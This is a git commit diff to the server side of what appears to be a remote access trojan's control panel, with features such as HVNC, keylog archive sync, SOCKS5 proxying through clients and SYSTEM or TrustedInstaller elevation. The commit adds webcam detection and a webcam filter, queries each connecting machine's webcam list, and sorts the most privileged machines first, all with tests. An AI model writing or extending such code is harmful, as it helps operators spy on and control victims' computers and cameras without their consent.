show if users have webcams and make sorting options better for windows and webcam. Also make webcam settings sticky.

This commit is contained in:
KingKDot
2026-06-12 10:20:02 -05:00
parent b6672ee375
commit cc0e6f737b
15 changed files with 373 additions and 25 deletions
+155 -3
View File
@@ -1,16 +1,28 @@
import { afterAll, describe, expect, test } from "bun:test";
import { db } from "./db/connection";
import { deleteClientRow, getClientMetricsSummary, listClients, setClientBookmark, setClientTag, upsertClientRow } from "./db";
import { deleteClientRow, getClientMetricsSummary, listClients, setClientBookmark, setClientTag, setClientWebcamInfo, upsertClientRow } from "./db";
const createdClientIds: string[] = [];
function createTempClient(id: string, options: { online: boolean; lastSeen: number; host: string; pingMs?: number; bookmarked?: boolean }) {
function createTempClient(
id: string,
options: {
online: boolean;
lastSeen: number;
host: string;
pingMs?: number;
bookmarked?: boolean;
os?: string;
isAdmin?: boolean;
elevation?: string;
},
) {
upsertClientRow({
id,
hwid: id,
role: "client",
host: options.host,
os: "windows",
os: options.os || "windows",
arch: "amd64",
version: "1.0.0",
user: "tester",
@@ -18,6 +30,8 @@ function createTempClient(id: string, options: { online: boolean; lastSeen: numb
lastSeen: options.lastSeen,
online: options.online ? 1 : 0,
pingMs: options.pingMs,
isAdmin: options.isAdmin,
elevation: options.elevation,
});
if (options.bookmarked) {
setClientBookmark(id, true);
@@ -190,6 +204,144 @@ describe("client metrics summary", () => {
cleanupCreatedClients();
}
});
test("webcam filter returns only clients with available webcam devices", () => {
try {
const prefix = `webcam-filter-${Date.now().toString(36)}`;
const now = Date.now();
const withWebcam = `${prefix}-with`;
const withoutWebcam = `${prefix}-without`;
const legacyWebcam = `${prefix}-legacy`;
createTempClient(withWebcam, {
online: true,
lastSeen: now,
host: "webcam-host",
});
createTempClient(withoutWebcam, {
online: true,
lastSeen: now - 1,
host: "plain-host",
});
createTempClient(legacyWebcam, {
online: true,
lastSeen: now - 2,
host: "legacy-webcam-host",
});
setClientWebcamInfo(withWebcam, true, [{ index: 0, name: "Integrated Camera" }]);
db.run(
`UPDATE clients SET webcam_available=0, webcam_devices=? WHERE id=?`,
JSON.stringify([{ index: 1, name: "USB Camera" }]),
legacyWebcam,
);
const result = listClients({
page: 1,
pageSize: 12,
search: prefix,
sort: "last_seen_desc",
statusFilter: "all",
osFilter: "all",
countryFilter: "all",
enrollmentFilter: "all",
webcamFilter: "available",
});
expect(result.items.map((item) => item.id).sort()).toEqual([legacyWebcam, withWebcam].sort());
expect(result.items.every((item) => item.webcamAvailable)).toBe(true);
} finally {
cleanupCreatedClients();
}
});
test("general Windows OS filter includes Windows version variants", () => {
try {
const prefix = `windows-filter-${Date.now().toString(36)}`;
const now = Date.now();
const win24h2 = `${prefix}-24h2`;
const win25h2 = `${prefix}-25h2`;
const mac = `${prefix}-mac`;
createTempClient(win24h2, {
online: true,
lastSeen: now,
host: "win-24h2",
os: "Windows 11 Pro 24H2",
});
createTempClient(win25h2, {
online: true,
lastSeen: now - 1,
host: "win-25h2",
os: "Windows 11 Pro 25H2",
});
createTempClient(mac, {
online: true,
lastSeen: now - 2,
host: "mac-host",
os: "macOS 15.5",
});
const result = listClients({
page: 1,
pageSize: 12,
search: prefix,
sort: "last_seen_desc",
statusFilter: "all",
osFilter: "windows",
countryFilter: "all",
enrollmentFilter: "all",
});
expect(result.items.map((item) => item.id).sort()).toEqual([win24h2, win25h2].sort());
} finally {
cleanupCreatedClients();
}
});
test("elevated sort puts elevated clients before regular clients", () => {
try {
const prefix = `elevated-sort-${Date.now().toString(36)}`;
const now = Date.now();
const regular = `${prefix}-regular`;
const system = `${prefix}-system`;
const trustedInstaller = `${prefix}-ti`;
createTempClient(regular, {
online: true,
lastSeen: now,
host: "regular-host",
});
createTempClient(system, {
online: true,
lastSeen: now - 1,
host: "system-host",
isAdmin: true,
elevation: "system",
});
createTempClient(trustedInstaller, {
online: true,
lastSeen: now - 2,
host: "ti-host",
isAdmin: true,
elevation: "trustedinstaller",
});
const result = listClients({
page: 1,
pageSize: 12,
search: prefix,
sort: "elevated_first",
statusFilter: "all",
osFilter: "all",
countryFilter: "all",
enrollmentFilter: "all",
});
expect(result.items.map((item) => item.id)).toEqual([trustedInstaller, system, regular]);
} finally {
cleanupCreatedClients();
}
});
});
describe("client search index", () => {
+44 -5
View File
@@ -221,8 +221,8 @@ export type OfflineStateUpdate = {
disconnectDetail?: string;
};
const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, build_tag, built_by_user_id, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, battery_percent, battery_charging, is_admin, elevation, permissions)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?)
const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, build_tag, built_by_user_id, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, battery_percent, battery_charging, webcam_available, webcam_devices, is_admin, elevation, permissions)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, COALESCE(?, 0), ?, ?)
ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role),
@@ -250,6 +250,8 @@ const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os
ram=COALESCE(excluded.ram, clients.ram),
battery_percent=COALESCE(excluded.battery_percent, clients.battery_percent),
battery_charging=COALESCE(excluded.battery_charging, clients.battery_charging),
webcam_available=COALESCE(excluded.webcam_available, clients.webcam_available),
webcam_devices=COALESCE(excluded.webcam_devices, clients.webcam_devices),
is_admin=COALESCE(excluded.is_admin, clients.is_admin),
elevation=COALESCE(excluded.elevation, clients.elevation),
permissions=COALESCE(excluded.permissions, clients.permissions)
@@ -287,6 +289,8 @@ function upsertClientRowInternal(partial: ClientDbRow): void {
partial.ram ?? null,
partial.batteryPercent ?? null,
partial.batteryCharging !== undefined && partial.batteryCharging !== null ? (partial.batteryCharging ? 1 : 0) : null,
partial.webcamAvailable !== undefined ? (partial.webcamAvailable ? 1 : 0) : null,
partial.webcamDevices ? JSON.stringify(partial.webcamDevices) : null,
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
partial.elevation ?? null,
partial.permissions ? JSON.stringify(partial.permissions) : null,
@@ -951,6 +955,7 @@ export function listClients(filters: ListFilters): ListResult {
allowedClientIds,
deniedClientIds,
groupFilter,
webcamFilter,
} = filters;
const where: string[] = [];
const params: any[] = [];
@@ -971,8 +976,12 @@ export function listClients(filters: ListFilters): ListResult {
}
if (osFilter && osFilter !== "all") {
where.push("c.os=?");
params.push(osFilter);
if (osFilter === "windows") {
where.push("LOWER(COALESCE(c.os, '')) LIKE 'windows%'");
} else {
where.push("c.os=?");
params.push(osFilter);
}
}
if (countryFilter && countryFilter !== "all") {
@@ -1015,6 +1024,17 @@ export function listClients(filters: ListFilters): ListResult {
}
}
const webcamAvailableSql =
"(COALESCE(c.webcam_available, 0)=1 OR (c.webcam_devices IS NOT NULL AND c.webcam_devices NOT IN ('', '[]', 'null')))";
if (webcamFilter && webcamFilter !== "all") {
if (webcamFilter === "available") {
where.push(webcamAvailableSql);
} else if (webcamFilter === "none") {
where.push(`NOT ${webcamAvailableSql}`);
}
}
const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : "";
const needsGroupJoinForFilter =
sort === "group_asc" ||
@@ -1041,6 +1061,8 @@ export function listClients(filters: ListFilters): ListResult {
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(c.country, 'zz')) DESC, c.id ASC`;
case "admin_first":
return `ORDER BY ${online}, ${bookmark}, c.is_admin DESC, c.id ASC`;
case "elevated_first":
return `ORDER BY ${online}, ${bookmark}, CASE WHEN c.elevation IN ('trustedinstaller', 'system', 'admin', 'elevated') OR c.is_admin=1 THEN 1 ELSE 0 END DESC, CASE c.elevation WHEN 'trustedinstaller' THEN 4 WHEN 'system' THEN 3 WHEN 'admin' THEN 2 WHEN 'elevated' THEN 1 ELSE 0 END DESC, c.id ASC`;
case "group_asc":
return `ORDER BY ${online}, ${bookmark}, g.name IS NULL, LOWER(g.name) ASC, c.id ASC`;
case "group_desc":
@@ -1053,7 +1075,7 @@ export function listClients(filters: ListFilters): ListResult {
const offset = (page - 1) * pageSize;
const clientFields =
"c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.battery_percent as batteryPercent, c.battery_charging as batteryCharging, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason";
`c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.battery_percent as batteryPercent, c.battery_charging as batteryCharging, CASE WHEN ${webcamAvailableSql} THEN 1 ELSE 0 END as webcamAvailable, c.webcam_devices as webcamDevices, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason`;
let rows: any[] | undefined;
let totalCount = 0;
@@ -1176,6 +1198,8 @@ export function listClients(filters: ListFilters): ListResult {
ram: c.ram || null,
batteryPercent: typeof c.batteryPercent === "number" ? c.batteryPercent : null,
batteryCharging: c.batteryCharging === null || c.batteryCharging === undefined ? null : c.batteryCharging === 1,
webcamAvailable: c.webcamAvailable === 1,
webcamDevices: c.webcamDevices ? (() => { try { return JSON.parse(c.webcamDevices); } catch { return []; } })() : [],
isAdmin: c.isAdmin === 1,
elevation: c.elevation || null,
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
@@ -1591,6 +1615,21 @@ export function setClientNotificationsMuted(id: string, muted: boolean): boolean
return ((result as any)?.changes || 0) > 0;
}
export function setClientWebcamInfo(
id: string,
webcamAvailable: boolean,
webcamDevices: { index: number; name: string; maxFps?: number }[],
): boolean {
const result = db.run(
`UPDATE clients SET webcam_available=?, webcam_devices=? WHERE id=?`,
webcamAvailable ? 1 : 0,
JSON.stringify(webcamDevices),
id,
);
if (((result as any)?.changes || 0) > 0) invalidateClientMetricsSummaryCache();
return ((result as any)?.changes || 0) > 0;
}
export function isClientNotificationsMuted(id: string): boolean {
const row = db.query<{ notifications_muted: number }>(
`SELECT notifications_muted FROM clients WHERE id=?`,
+9
View File
@@ -85,9 +85,18 @@ try {
try {
db.run(`ALTER TABLE clients ADD COLUMN battery_charging INTEGER`);
} catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN webcam_available INTEGER NOT NULL DEFAULT 0`);
} catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN webcam_devices TEXT`);
} catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN is_admin INTEGER NOT NULL DEFAULT 0`);
} catch {}
db.run(
`CREATE INDEX IF NOT EXISTS idx_clients_webcam_available ON clients(webcam_available);`,
);
db.run(
`CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`,
);
@@ -84,15 +84,16 @@ export async function handleClientRoutes(
const countryFilter = url.searchParams.get("country") || "all";
const enrollmentFilter = url.searchParams.get("enrollmentFilter") || "approved";
const groupFilter = url.searchParams.get("group") || "all";
const webcamFilter = url.searchParams.get("webcam") || "all";
const isEnrollmentRequest = url.searchParams.has("enrollmentFilter");
if (user.role === "admin") {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter });
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
if (user.role === "operator" && isEnrollmentRequest) {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, builtByUserId: user.userId, requireBuildOwner: true });
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
@@ -104,7 +105,7 @@ export async function handleClientRoutes(
const allowedClientIds = scope === "allowlist" ? listUserClientRuleIdsByAccess(user.userId, "allow") : undefined;
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, allowedClientIds, deniedClientIds });
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
@@ -237,6 +237,7 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
remote_desktop: "remote_desktop",
hvnc: "hvnc",
webcam: "webcam",
};
function pickString(value: unknown, allowed: readonly string[]): string | undefined {
@@ -299,6 +300,9 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
} else if (scope === "webcam") {
assignIfDefined(out, "camera", pickSteppedNumber(input.camera, 0, 63));
assignIfDefined(out, "fps", pickSteppedNumber(input.fps, 1, 120));
}
return out;
@@ -18,7 +18,7 @@ import * as sessionManager from "../../sessions/sessionManager";
import type { SocketData } from "../../sessions/types";
import type { ClientInfo } from "../../types";
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
import { queueClientDbUpdate } from "../../client-db-sync";
import { flushQueuedClientDbUpdates, queueClientDbUpdate } from "../../client-db-sync";
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
import { verifyBuildToken, isBuildBanned } from "../build-signing";
@@ -668,6 +668,7 @@ export async function handleWebSocketMessage(
}
await handleHello(infoObj, payload as Hello, ws, ip);
flushQueuedClientDbUpdates();
clientManager.addClient(infoObj.id, infoObj);
clearThumbnail(resolvedId);
@@ -678,6 +679,7 @@ export async function handleWebSocketMessage(
deps.dispatchAutoDeploysForConnection(infoObj, ws);
deps.dispatchAutoLoadPlugins(infoObj);
deps.dispatchKeylogArchiveSync?.(infoObj.id, ws);
deps.sendDesktopCommand(infoObj, "webcam_list", {});
deps.notifyDashboard();
if (!reconnectedWithinGrace) {
deps.notifyDashboardClientEvent("client_online", {
@@ -840,6 +842,7 @@ export async function handleWebSocketMessage(
break;
case "webcam_devices":
deps.handleWebcamDevices(client.id, payload);
deps.notifyDashboard();
break;
case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(client.id, payload);
@@ -11,6 +11,7 @@ import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import { canUserAccessClient } from "../users";
import { setClientWebcamInfo } from "../db";
import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
import {
buildViewerFrameBuffer,
@@ -775,8 +776,23 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
}
export function handleWebcamDevices(clientId: string, payload: any) {
const devices = Array.isArray(payload?.devices)
? payload.devices.slice(0, 32).map((device: any, index: number) => ({
index: Number.isFinite(Number(device?.index)) ? Number(device.index) : index,
name: String(device?.name || `Camera ${index + 1}`).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").slice(0, 160),
...(Number.isFinite(Number(device?.maxFps)) && Number(device.maxFps) > 0
? { maxFps: Math.min(240, Math.round(Number(device.maxFps))) }
: {}),
}))
: [];
const target = clientManager.getClient(clientId);
if (target) {
target.webcamAvailable = devices.length > 0;
target.webcamDevices = devices;
}
setClientWebcamInfo(clientId, devices.length > 0, devices);
for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
safeSendViewer(session.viewer, payload);
safeSendViewer(session.viewer, { ...payload, devices });
}
}
+3
View File
@@ -39,6 +39,8 @@ export type ClientInfo = {
ram?: string;
batteryPercent?: number | null;
batteryCharging?: boolean | null;
webcamAvailable?: boolean;
webcamDevices?: { index: number; name: string; maxFps?: number }[];
isAdmin?: boolean;
elevation?: string;
permissions?: Record<string, boolean>;
@@ -69,6 +71,7 @@ export type ListFilters = {
allowedClientIds?: string[];
deniedClientIds?: string[];
groupFilter?: string;
webcamFilter?: string;
};
export type ListItem = Omit<ClientInfo, 'ws'> & {